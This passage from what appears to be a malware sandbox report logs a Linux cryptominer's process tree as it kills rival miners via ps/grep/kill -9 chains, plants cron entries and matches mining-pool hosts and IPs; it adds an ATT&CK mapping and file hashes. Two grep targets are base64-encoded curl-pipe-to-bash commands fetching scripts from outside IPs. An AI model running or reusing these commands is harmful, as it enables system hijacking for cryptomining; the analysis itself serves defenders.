  PID:1089
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1090
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1091
- /bin/ps
  ps aux
  2⤵
  PID:1092
- /bin/grep
  grep -v grep
  2⤵
  PID:1093
- /bin/grep
  grep -v aux
  2⤵
  PID:1094
- /bin/grep
  grep "sh] <"
  2⤵
  PID:1095
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1096
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1097
- /bin/ps
  ps aux
  2⤵
  PID:1098
- /bin/grep
  grep -v grep
  2⤵
  PID:1099
- /bin/grep
  grep -v aux
  2⤵
  PID:1100
- /bin/grep
  grep " \\[]"
  2⤵
  PID:1101
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1102
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1103
- /bin/ps
  ps aux
  2⤵
  PID:1104
- /bin/grep
  grep -v grep
  2⤵
  PID:1105
- /bin/grep
  grep /tmp/l.sh
  2⤵
  PID:1106
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1107
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1108
- /bin/ps
  ps aux
  2⤵
  PID:1111
- /bin/grep
  grep -v grep
  2⤵
  PID:1112
- /bin/grep
  grep /tmp/zmcat
  2⤵
  PID:1113
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1114
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1115
- /bin/ps
  ps aux
  2⤵
  PID:1116
- /bin/grep
  grep -v grep
  2⤵
  PID:1117
- /bin/grep
  grep hahwNEdB
  2⤵
  PID:1118
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1119
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1120
- /bin/ps
  ps aux
  2⤵
  PID:1121
- /bin/grep
  grep -v grep
  2⤵
  PID:1122
- /bin/grep
  grep CnzFVPLF
  2⤵
  PID:1123
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1124
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1125
- /bin/ps
  ps aux
  2⤵
  PID:1126
- /bin/grep
  grep -v grep
  2⤵
  PID:1127
- /bin/grep
  grep CvKzzZLs
  2⤵
  PID:1128
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1129
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1130
- /bin/ps
  ps aux
  2⤵
  PID:1131
- /bin/grep
  grep -v grep
  2⤵
  PID:1132
- /bin/grep
  grep aziplcr72qjhzvin
  2⤵
  PID:1133
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1134
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1135
- /bin/ps
  ps aux
  2⤵
  PID:1136
- /bin/grep
  grep -v grep
  2⤵
  PID:1137
- /bin/grep
  grep /tmp/udevd
  2⤵
  PID:1138
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1139
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1140
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1141
- /bin/grep
  grep -v grep
  2⤵
  PID:1142
- /bin/grep
  grep KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA
  2⤵
  PID:1143
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1144
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1145
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1146
- /bin/grep
  grep -v grep
  2⤵
  PID:1147
- /bin/grep
  grep Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo
  2⤵
  PID:1148
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1149
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1150
- /bin/ps
  ps aux
  2⤵
  PID:1151
- /bin/grep
  grep -v grep
  2⤵
  PID:1152
- /bin/grep
  grep sustse
  2⤵
  PID:1153
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1154
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1155
- /bin/ps
  ps aux
  2⤵
  PID:1156
- /bin/grep
  grep -v grep
  2⤵
  PID:1157
- /bin/grep
  grep sustse3
  2⤵
  PID:1158
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1159
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1160
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1161
- /bin/grep
  grep -v grep
  2⤵
  PID:1162
- /bin/grep
  grep mr.sh
  2⤵
  PID:1163
- /bin/grep
  grep wget
  2⤵
  PID:1164
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1165
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1166
- /bin/ps
  ps aux
  2⤵
  PID:1167
- /bin/grep
  grep -v grep
  2⤵
  PID:1168
- /bin/grep
  grep mr.sh
  2⤵
  PID:1169
- /bin/grep
  grep curl
  2⤵
  PID:1170
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1171
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1172
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1173
- /bin/grep
  grep -v grep
  2⤵
  PID:1174
- /bin/grep
  grep 2mr.sh
  2⤵
  PID:1175
- /bin/grep
  grep wget
  2⤵
  PID:1176
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1177
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1178
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1179
- /bin/grep
  grep -v grep
  2⤵
  PID:1180
- /bin/grep
  grep 2mr.sh
  2⤵
  PID:1181
- /bin/grep
  grep curl
  2⤵
  PID:1182
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1183
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1184
- /bin/ps
  ps aux
  2⤵
  PID:1185
- /bin/grep
  grep -v grep
  2⤵
  PID:1186
- /bin/grep
  grep cr5.sh
  2⤵
  PID:1187
- /bin/grep
  grep wget
  2⤵
  PID:1188
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1189
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1190
- /bin/ps
  ps aux
  2⤵
  PID:1191
- /bin/grep
  grep -v grep
  2⤵
  PID:1192
- /bin/grep
  grep cr5.sh
  2⤵
  PID:1193
- /bin/grep
  grep curl
  2⤵
  PID:1194
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1195
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1197
- /bin/ps
  ps aux
  2⤵
  PID:1199
- /bin/grep
  grep -v grep
  2⤵
  PID:1200
- /bin/grep
  grep logo9.jpg
  2⤵
  PID:1201
- /bin/grep
  grep wget
  2⤵
  PID:1202
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1203
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1204
- /bin/ps
  ps aux
  2⤵
  PID:1205
- /bin/grep
  grep -v grep
  2⤵
  PID:1206
- /bin/grep
  grep logo9.jpg
  2⤵
  PID:1207
- /bin/grep
  grep curl
  2⤵
  PID:1208
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1209
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1210
- /bin/ps
  ps aux
  2⤵
  PID:1211
- /bin/grep
  grep -v grep
  2⤵
  PID:1212
- /bin/grep
  grep j2.conf
  2⤵
  PID:1213
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1214
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1215
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1216
- /bin/grep
  grep -v grep
  2⤵
  PID:1217
- /bin/grep
  grep luk-cpu
  2⤵
  PID:1218
- /bin/grep
  grep wget
  2⤵
  PID:1219
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1220
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1221
- /bin/ps
  ps aux
  2⤵
  PID:1222
- /bin/grep
  grep -v grep
  2⤵
  PID:1223
- /bin/grep
  grep luk-cpu
  2⤵
  PID:1224
- /bin/grep
  grep curl
  2⤵
  PID:1225
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1226
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1227
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1228
- /bin/grep
  grep -v grep
  2⤵
  PID:1229
- /bin/grep
  grep ficov
  2⤵
  PID:1230
- /bin/grep
  grep wget
  2⤵
  PID:1231
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1232
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1233
- /bin/ps
  ps aux
  2⤵
  PID:1234
- /bin/grep
  grep -v grep
  2⤵
  PID:1235
- /bin/grep
  grep ficov
  2⤵
  PID:1236
- /bin/grep
  grep curl
  2⤵
  PID:1237
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1238
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1239
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1240
- /bin/grep
  grep -v grep
  2⤵
  PID:1241
- /bin/grep
  grep he.sh
  2⤵
  PID:1242
- /bin/grep
  grep wget
  2⤵
  PID:1243
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1244
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1245
- /bin/ps
  ps aux
  2⤵
  PID:1246
- /bin/grep
  grep -v grep
  2⤵
  PID:1247
- /bin/grep
  grep he.sh
  2⤵
  PID:1248
- /bin/grep
  grep curl
  2⤵
  PID:1249
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1250
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1251
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1252
- /bin/grep
  grep -v grep
  2⤵
  PID:1253
- /bin/grep
  grep miner.sh
  2⤵
  PID:1254
- /bin/grep
  grep wget
  2⤵
  PID:1255
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1256
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1257
- /bin/ps
  ps aux
  2⤵
  PID:1258
- /bin/grep
  grep -v grep
  2⤵
  PID:1259
- /bin/grep
  grep miner.sh
  2⤵
  PID:1260
- /bin/grep
  grep curl
  2⤵
  PID:1261
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1262
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1263
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1264
- /bin/grep
  grep -v grep
  2⤵
  PID:1265
- /bin/grep
  grep nullcrew
  2⤵
  PID:1266
- /bin/grep
  grep wget
  2⤵
  PID:1267
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1268
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1269
- /bin/ps
  ps aux
  2⤵
  PID:1270
- /bin/grep
  grep -v grep
  2⤵
  PID:1271
- /bin/grep
  grep nullcrew
  2⤵
  PID:1272
- /bin/grep
  grep curl
  2⤵
  PID:1273
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1274
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1275
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1276
- /bin/grep
  grep -v grep
  2⤵
  PID:1277
- /bin/grep
  grep 107.174.47.156
  2⤵
  PID:1278
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1279
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1280
- /bin/ps
  ps aux
  2⤵
  PID:1281
- /bin/grep
  grep -v grep
  2⤵
  PID:1282
- /bin/grep
  grep 83.220.169.247
  2⤵
  PID:1283
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1284
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1285
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1288
- /bin/grep
  grep -v grep
  2⤵
  PID:1289
- /bin/grep
  grep 51.38.203.146
  2⤵
  PID:1290
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1291
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1292
- /bin/ps
  ps aux
  2⤵
  PID:1293
- /bin/grep
  grep -v grep
  2⤵
  PID:1294
- /bin/grep
  grep 144.217.45.45
  2⤵
  PID:1295
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1296
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1297
- /bin/ps
  ps aux
  2⤵
  PID:1298
- /bin/grep
  grep -v grep
  2⤵
  PID:1299
- /bin/grep
  grep 107.174.47.181
  2⤵
  PID:1300
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1301
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1302
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1303
- /bin/grep
  grep -v grep
  2⤵
  PID:1304
- /bin/grep
  grep 176.31.6.16
  2⤵
  PID:1305
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1306
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1307
- /bin/ps
  ps auxf
  2⤵
  PID:1308
- /bin/grep
  grep -v grep
  2⤵
  PID:1309
- /bin/grep
  grep mine.moneropool.com
  2⤵
  PID:1310
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1311
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1312
- /bin/ps
  ps auxf
  2⤵
  - Reads CPU attributes
  PID:1313
- /bin/grep
  grep -v grep
  2⤵
  PID:1314
- /bin/grep
  grep pool.t00ls.ru
  2⤵
  PID:1315
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1316
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1317
- /bin/ps
  ps auxf
  2⤵
  - Reads runtime system information
  PID:1318
- /bin/grep
  grep -v grep
  2⤵
  PID:1319
- /bin/grep
  grep xmr.crypto-pool.fr:8080
  2⤵
  PID:1320
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1321
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1322
- /bin/ps
  ps auxf
  2⤵
  PID:1323
- /bin/grep
  grep -v grep
  2⤵
  PID:1324
- /bin/grep
  grep xmr.crypto-pool.fr:3333
  2⤵
  PID:1325
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1326
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1327
- /bin/ps
  ps auxf
  2⤵
  PID:1328
- /bin/grep
  grep -v grep
  2⤵
  PID:1329
- /bin/grep
  grep "[email protected]"
  2⤵
  PID:1330
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1331
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1332
- /bin/ps
  ps auxf
  2⤵
  PID:1333
- /bin/grep
  grep -v grep
  2⤵
  PID:1334
- /bin/grep
  grep monerohash.com
  2⤵
  PID:1335
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1336
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1337
- /bin/ps
  ps auxf
  2⤵
  PID:1338
- /bin/grep
  grep -v grep
  2⤵
  PID:1339
- /bin/grep
  grep /tmp/a7b104c270
  2⤵
  PID:1340
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1341
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1342
- /bin/ps
  ps auxf
  2⤵
  PID:1343
- /bin/grep
  grep -v grep
  2⤵
  PID:1344
- /bin/grep
  grep xmr.crypto-pool.fr:6666
  2⤵
  PID:1345
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1346
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1347
- /bin/ps
  ps auxf
  2⤵
  PID:1348
- /bin/grep
  grep -v grep
  2⤵
  PID:1349
- /bin/grep
  grep xmr.crypto-pool.fr:7777
  2⤵
  PID:1350
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1351
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1352
- /bin/ps
  ps auxf
  2⤵
  PID:1353
- /bin/grep
  grep -v grep
  2⤵
  PID:1354
- /bin/grep
  grep xmr.crypto-pool.fr:443
  2⤵
  PID:1355
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1356
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1357
- /bin/ps
  ps auxf
  2⤵
  PID:1358
- /bin/grep
  grep -v grep
  2⤵
  PID:1359
- /bin/grep
  grep stratum.f2pool.com:8888
  2⤵
  PID:1360
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1361
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1362
- /bin/ps
  ps auxf
  2⤵
  - Reads runtime system information
  PID:1363
- /bin/grep
  grep -v grep
  2⤵
  PID:1364
- /bin/grep
  grep xmrpool.eu
  2⤵
  PID:1365
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1366
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1367
- /bin/ps
  ps auxf
  2⤵
  PID:1369
- /bin/grep
  grep xiaoyao
  2⤵
  PID:1370
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1371
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1372
- - /usr/local/sbin/kill
    kill -9 1370
    3⤵
    PID:1374
- - /usr/local/bin/kill
    kill -9 1370
    3⤵
    PID:1374
- - /usr/sbin/kill
    kill -9 1370
    3⤵
    PID:1374
- - /usr/bin/kill
    kill -9 1370
    3⤵
    PID:1374
- - /sbin/kill
    kill -9 1370
    3⤵
    PID:1374
- - /bin/kill
    kill -9 1370
    3⤵
    PID:1374
- /bin/ps
  ps auxf
  2⤵
  - Reads CPU attributes
  PID:1375
- /bin/grep
  grep xiaoxue
  2⤵
  PID:1376
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1377
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1378
- - /usr/local/sbin/kill
    kill -9 1376
    3⤵
    PID:1379
- - /usr/local/bin/kill
    kill -9 1376
    3⤵
    PID:1379
- - /usr/sbin/kill
    kill -9 1376
    3⤵
    PID:1379
- - /usr/bin/kill
    kill -9 1376
    3⤵
    PID:1379
- - /sbin/kill
    kill -9 1376
    3⤵
    PID:1379
- - /bin/kill
    kill -9 1376
    3⤵
    PID:1379
- /bin/grep
  grep 46.243.253.15
  2⤵
  PID:1381
- /bin/grep
  grep "ESTABLISHED\\|SYN_SENT"
  2⤵
  PID:1382
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1383
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  PID:1384
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1385
- /bin/grep
  grep 176.31.6.16
  2⤵
  PID:1387
- /bin/grep
  grep "ESTABLISHED\\|SYN_SENT"
  2⤵
  PID:1388
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1389
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  PID:1390
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1391
- /bin/grep
  grep 108.174.197.76
  2⤵
  PID:1393
- /bin/grep
  grep "ESTABLISHED\\|SYN_SENT"
  2⤵
  PID:1394
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1395
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  PID:1396
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1397
- /bin/grep
  grep 192.236.161.6
  2⤵
  PID:1399
- /bin/grep
  grep "ESTABLISHED\\|SYN_SENT"
  2⤵
  PID:1400
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1401
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  PID:1402
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1403
- /bin/grep
  grep 88.99.242.92
  2⤵
  PID:1405
- /bin/grep
  grep "ESTABLISHED\\|SYN_SENT"
  2⤵
  PID:1406
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1407
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  PID:1408
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1409
- /bin/systemctl
  systemctl stop c3pool_miner.service
  2⤵
  - Enumerates kernel/hardware configuration
  PID:1410
- /usr/bin/pkill
  pkill -f pastebin
  2⤵
  PID:1411

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Indicator Removal on Host

T1070

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/log_rot

Filesize
5B

MD5
727479ef7cedf30c03459bec7d87b0f0

SHA1
2082e7f715f058acab2398d25d135cf5f4c0ce41

SHA256
29872037c9573567744ef10ed2de57864ded7554c9fa2ef03fc1244c65794ba6

SHA512
4cb59d37f8481f9bb2745f494baa0910a68aad40ac2903ef1513547e091e1e772a5f9436f789ab91fcafb75b8a28c2112ede89004be41f33c01d936b542ca6ba

Download Submit
/var/spool/cron/crontabs/tmp.3uP8FW

Filesize
175B

MD5
d8a0457cc871f6491c3a01b27107ded0

SHA1
0d59095854a8209c0165bcb594bb02fff1d0320a

SHA256
0a1c0672241d41c8ba3e5e8fe2c23bf18b1a5f2c8fda16b782103fd7dc30d8c0

SHA512
e2063c94387378d551f22421609ba8ba5ac9e630a42e7ee956cf77e80f06566a45b742839134416294724c1f4890319476d471e440bc9d3ffbd8bca2ccbd3e07

Download Submit
/var/spool/cron/crontabs/tmp.A1VfyI

Filesize
175B

MD5
9bac85ea61e281dd90d957b10dd5d0ef

SHA1
9d3b783dbc484dad97ab1a4eaace5bfa6ac59146

SHA256
b2ce7bbcb65229c8758267d2cf490197b312e6c00ea4ae4f46084d3ee0050ef9

SHA512
c7519fb341a2e9b45c74a56c9953b7644c9acecb9b9a6683c42994f48e09bdb84eb65f8c252c884346c7e424f9d9d7cfa5fdfda71f3a185289d42bf6ba7320a3

Download Submit
/var/spool/cron/crontabs/tmp.KrTfgd

Filesize
175B

MD5
d8a0457cc871f6491c3a01b27107ded0

SHA1
0d59095854a8209c0165bcb594bb02fff1d0320a

SHA256
0a1c0672241d41c8ba3e5e8fe2c23bf18b1a5f2c8fda16b782103fd7dc30d8c0

SHA512
e2063c94387378d551f22421609ba8ba5ac9e630a42e7ee956cf77e80f06566a45b742839134416294724c1f4890319476d471e440bc9d3ffbd8bca2ccbd3e07

Download Submit
/var/spool/cron/crontabs/tmp.LsWllb

Filesize
175B

MD5
9bac85ea61e281dd90d957b10dd5d0ef

SHA1
9d3b783dbc484dad97ab1a4eaace5bfa6ac59146

SHA256
b2ce7bbcb65229c8758267d2cf490197b312e6c00ea4ae4f46084d3ee0050ef9

SHA512
c7519fb341a2e9b45c74a56c9953b7644c9acecb9b9a6683c42994f48e09bdb84eb65f8c252c884346c7e424f9d9d7cfa5fdfda71f3a185289d42bf6ba7320a3

Download Submit
/var/spool/cron/crontabs/tmp.MLqdLV

Filesize
175B

MD5
76b5dd235bae47be862f094010f3f27f

SHA1
b6a8f79b896d68aaa8fde7d3d6c4760a9c1a42df

SHA256
db89b7ff7d64d35ccfd69e1fe02f61b1c27ff89c2e78358f13f43134a5ec2895

SHA512
c9b8984bbf25a29f7d4eb65ab2ada472cea079db0f852d701bb36807eb2778fac289c8354ffffeebf6e1ec2fd0a5550ca83bdce5d873c246691b64b4ec7eccdf

Download Submit
/var/spool/cron/crontabs/tmp.Rkc7pp

Filesize
175B

MD5
ab81f94e7a13b963507b85df0a98b21a

SHA1
8e77852407680b6a6d8870db76764a947a6fe3b7

SHA256
dc1d0e6a105d61b7b2ab8faf6dd8ff572a019afcfb507bcef8957568eb59e096

SHA512
f19e420985e4987ac4f9fc28292d3a20c85a54bd25f6d4700db064f2193b4f9e27be422bbe5aebf9dcac22316b9fff7825caff7adf778e437ff6d082e30338fa

Download Submit
/var/spool/cron/crontabs/tmp.TLpvXi

Filesize
175B

MD5
9bac85ea61e281dd90d957b10dd5d0ef

SHA1
9d3b783dbc484dad97ab1a4eaace5bfa6ac59146

SHA256
b2ce7bbcb65229c8758267d2cf490197b312e6c00ea4ae4f46084d3ee0050ef9

SHA512
c7519fb341a2e9b45c74a56c9953b7644c9acecb9b9a6683c42994f48e09bdb84eb65f8c252c884346c7e424f9d9d7cfa5fdfda71f3a185289d42bf6ba7320a3

Download Submit
/var/spool/cron/crontabs/tmp.gZIMlT

Filesize
175B

MD5
ab81f94e7a13b963507b85df0a98b21a

SHA1
8e77852407680b6a6d8870db76764a947a6fe3b7

SHA256
dc1d0e6a105d61b7b2ab8faf6dd8ff572a019afcfb507bcef8957568eb59e096

SHA512
f19e420985e4987ac4f9fc28292d3a20c85a54bd25f6d4700db064f2193b4f9e27be422bbe5aebf9dcac22316b9fff7825caff7adf778e437ff6d082e30338fa

Download Submit
/var/spool/cron/crontabs/tmp.mlYTih

Filesize
175B

MD5
14dbee1c68ab689c0c71678a32fc909f

SHA1
ff4f8a4026771d88329283ebd75476f797156410

SHA256
0168efe006b9956c4c351b95a8ba4aba4e1f52e6a4603c3a8c0f014c2381e0d0

SHA512
936e74d6d3daad6d4d8978b0e2945014a633f911dc066eeebbf13e86d9ef058c3127b59c157da3575cd39cbf6cd40483058b241d71acdc3c59ab8e77f1593d83

Download Submit
/var/spool/cron/crontabs/tmp.ncuCor

Filesize
175B

MD5
76b5dd235bae47be862f094010f3f27f

SHA1
b6a8f79b896d68aaa8fde7d3d6c4760a9c1a42df

SHA256
db89b7ff7d64d35ccfd69e1fe02f61b1c27ff89c2e78358f13f43134a5ec2895

SHA512
c9b8984bbf25a29f7d4eb65ab2ada472cea079db0f852d701bb36807eb2778fac289c8354ffffeebf6e1ec2fd0a5550ca83bdce5d873c246691b64b4ec7eccdf

Download Submit
/var/spool/cron/crontabs/tmp.teACqN

Filesize
175B

MD5
14dbee1c68ab689c0c71678a32fc909f

SHA1
ff4f8a4026771d88329283ebd75476f797156410

SHA256
0168efe006b9956c4c351b95a8ba4aba4e1f52e6a4603c3a8c0f014c2381e0d0

SHA512
936e74d6d3daad6d4d8978b0e2945014a633f911dc066eeebbf13e86d9ef058c3127b59c157da3575cd39cbf6cd40483058b241d71acdc3c59ab8e77f1593d83

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads